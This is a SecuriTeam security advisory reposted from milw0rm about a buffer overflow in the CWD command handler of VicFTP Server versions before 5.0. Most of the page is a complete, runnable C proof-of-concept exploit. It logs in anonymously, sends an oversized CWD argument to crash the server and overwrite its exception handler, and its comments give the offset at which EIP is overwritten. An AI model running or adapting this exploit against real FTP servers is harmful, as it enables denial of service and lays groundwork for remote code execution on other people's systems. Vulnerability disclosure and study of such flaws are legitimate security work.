SecuriTeam - VicFTPS Buffer Overflow (CWD, Exploit)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

VicFTP Server is "a simple FTP server for Windows that does not require an install".

Buffer overflow in handling CWD command in VicFTPS allows malicious remote attacker to execute arbitrary code on the vulnerable system.

Credit:
The information has been provided by milw0rm.
The original article can be found at:
http://www.milw0rm.com/exploits/3331

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Vulnerable Systems:
* VicFTP Server versions prior to 5.0.

Exploit:
/*
VicFTPs Server CWD Remote Buffer Overflow Vulnerability
                 DoS Proof of concept

            r0ut3r (writ3r [at] gmail.com)

Thanks to:
Marsu (Marsupilamipowa [at] hotmail.fr)
for helping me out with this vulnerability.

Greets Marsu, and Timq.

Description:
Sending a long argument to CWD will cause VicFTPs Server
to overwrite memory. EIP is overwritten at 323. The POC
uses a larger buffer to overwrite exception handler,
preventing an error message.
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 21

int s;
struct sockaddr_in sock_addr;

char recvbuf[1024];
char pwn[450];

int main(int argc, char* argv[])
{
      if (argc < 2) {
        printf("Usage: %s <ip>\n", argv[0]);
        return 1; }

      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        printf("error with socket\n");
        return 1; }

      sock_addr.sin_family = AF_INET;
      sock_addr.sin_addr.s_addr = inet_addr(argv[1]);
      sock_addr.sin_port = htons(PORT);

      if (connect(s, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
        printf("unable to connect\n");
        return 1; }

      printf("[+] Connected\n");
      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char userbuf[50];
      printf("[+] Sending user...\n");
      memset(userbuf, '\0', 50);
      memcpy(userbuf, "USER anonymous\r\n", 18);
      if (send(s, userbuf, strlen(userbuf), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char passbuf[50];
        printf("[+] Sending pass...\n");
        memcpy(passbuf, "PASS anonymous\r\n", 18);
        if (send(s, passbuf, strlen(passbuf), 0) == -1) {
                printf("unable to send data\n");
                return 1; }
      recv(s, recvbuf, 1024, 0);

      printf("[+] Building payload. \n");
      memset(pwn, '\0', 450);
      memcpy(pwn, "CWD ", 4);
      memset(pwn+4, 'A', 400);
      memcpy(pwn+404, "\r\n", 2);

      printf("[+] Sending payload.\n");
      if (send(s, pwn, strlen(pwn), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      printf("[!] Boom! crashed?!\n");

      return 0;
}

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